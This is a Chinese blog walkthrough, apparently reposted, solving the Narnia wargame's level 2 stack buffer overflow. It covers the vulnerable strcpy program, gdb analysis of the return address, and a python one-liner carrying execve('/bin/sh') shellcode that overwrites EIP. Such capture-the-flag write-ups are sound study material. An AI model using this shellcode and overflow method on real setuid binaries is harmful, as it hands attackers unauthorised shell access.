码迷,mamicode.com
首页 > 其他好文 > 详细

Wargame narnia level 2 (中文攻略)

时间:2014-05-28 11:49:49      阅读:560      评论:0      收藏:0      [点我收藏+]

标签:style   c   class   blog   code   java   

前面省略连接部分……

cat narnia2.c

bubuko.com,布布扣
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
        char buf[128];
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);
        return 0;
}
bubuko.com,布布扣

一个很经典的溢出……  

原因就是 strcpy()  复制字符串前没有对长度进行检查……

当然,如果是在WINDOWS下的话,实行溢出是非常简单的(有各种强大的软件,OD等)

 

但现在我们在别人的服务器上,那怎么来愉快地玩耍呢?

 

用苦逼的LINUX自带调试器GDB。。。

 

gdb narnia2

 

改变汇编语言的格式

set disassembly-flavor intel

 

disassemble main

bubuko.com,布布扣

 

我们需要的是字符串复制后的内存分布,以便找到shellcode的地址

然后在这四处下断,以便更好理解EIP是怎样被控制的

bubuko.com,布布扣

bubuko.com,布布扣

然后 随机输入一个字符串进行复制

这里输入的是100个a

bubuko.com,布布扣

执行前的 esp , ebp 地址 以及 esp 附近内存数据

bubuko.com,布布扣

bubuko.com,布布扣

 

 

执行strcpy这个call后 ,

bubuko.com,布布扣

 

在 执行   0x0804848b   leave  前 看下ebp的地址

bubuko.com,布布扣

leave 等价于  mov esp,ebp,   pop ebp

在执行下一句 ret 前, 查看一下此时ESP地址附近数据,   ( RET 等价于POP EIP)

此时的EIP 是 0xffffd6cc 的双字,    也就是我们要覆盖的和控制的地址。

bubuko.com,布布扣

 

然后我们就可以构造自己的shellcode 了, 形式是NNNNNNSSSSNNA    


`python -c  ‘print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x68\xd6\xff\xff" ‘`

注意后面的地址不能直接指向复制字符串的开头,不然会GG(原因是目录名的长度会使字符串位置发生移动)

还有后面要补8字节\x90 ,  这个目前不知道为什么= =,  单纯用NNNNNSSSA 的形式的话,好像利用会失败……

 

最终:

bubuko.com,布布扣

 

bubuko.com,布布扣

成功拿到下一关的密码

Wargame narnia level 2 (中文攻略),布布扣,bubuko.com

Wargame narnia level 2 (中文攻略)

标签:style   c   class   blog   code   java   

原文地址:http://www.cnblogs.com/wu-yan/p/3755108.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!